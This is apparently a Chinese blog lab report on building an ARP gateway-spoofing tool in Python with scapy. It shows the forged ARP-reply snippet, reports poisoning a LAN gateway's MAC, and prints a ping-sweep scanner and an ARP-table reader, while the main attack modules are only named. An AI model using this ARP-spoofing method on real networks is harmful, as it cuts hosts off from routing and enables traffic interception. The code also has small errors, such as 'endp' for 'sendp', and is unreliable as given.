一、实验原理。
本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:
eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型 arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源,dst为目标,op=2为响应报文、1为请求 pkt = eth / arp endp(pkt)
因为实验时发现主机并不会记录来自网关的免费ARP报文,无奈只有先想办法把局域网内存在的主机的IP-MAC映射关系拿到手,再逐个发送定向的ARP响应报文。
二、运行结果。
<1>先查看网关,确保有网:
<2>因为socket需要sudo权限,所以以root权限跑起来:
<3>因为代码写的比较繁琐,跑起来就比现场的工具慢很多,最后看下局域网内主机的arp表:
网关172.16.0.254的MAC地址已经从00:05:66:00:29:69变成01:02:03:04:05:06,成功!
三、实现代码。
代码过程:加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文。
如图,代码分为六个部分。其中的arpATC.py为主程序,pingScanner.py为主机扫描器,arpThread.py为扫描线程,atcThread.py为发包线程,gtwaySearch.py获取网关,macSearch.py读取本机arp表。
<1>pingScanner.py
通过os.popen函数调用ping,使用正则匹配返回字符串判断目标主机是否存在。
#!/usr/bin/python ''' Using ping to scan ''' import os import re import time import thread def host_scanner(ip): p = os.popen('ping -c 2 '+ip) string = p.read() pattern = 'Destination Host Unreachable' if re.search(pattern,string) is not None: print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) ) return False else: print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) ) return True if __name__=='__main__': print 'This script is only use as model,function:scanner(ip)!'
<2>macSearch.py
同样,调用os.popen函数带入参数’arp -a’查看本地缓存的arp表信息。通过正则表达式截取每个IP对应的MAC地址,保存在字典arp_table里并返回。
#!/usr/bin/python ''' Using re to get arp table arp -a ? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0 ''' import re import os import time def getMac(ip_table=[],arp_table={}): #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) ) p = os.popen('arp -a') string = p.read() string = string.split('\n') pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})' length = len(string) for i in range(length): if string[i] == '': continue result = re.search(pattern, string[i]) if result is not None: ip = result.group(1) mac = result.group(3) arp_table[ip]=mac ip_table.append(ip) #else: #print '[*]macSearch.getM<span style="color:transparent">本文来源gaodai#ma#com搞*!代#%^码网%</span>ac:result is None' #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) ) return (ip_table,arp_table) if __name__=='__main__': table = getMac() ip_table = table[0] arp_table = table[1] for i in range(len(ip_table)): ip = ip_table[i] print '[-]'+ip+'<-is located on->'+arp_table[ip]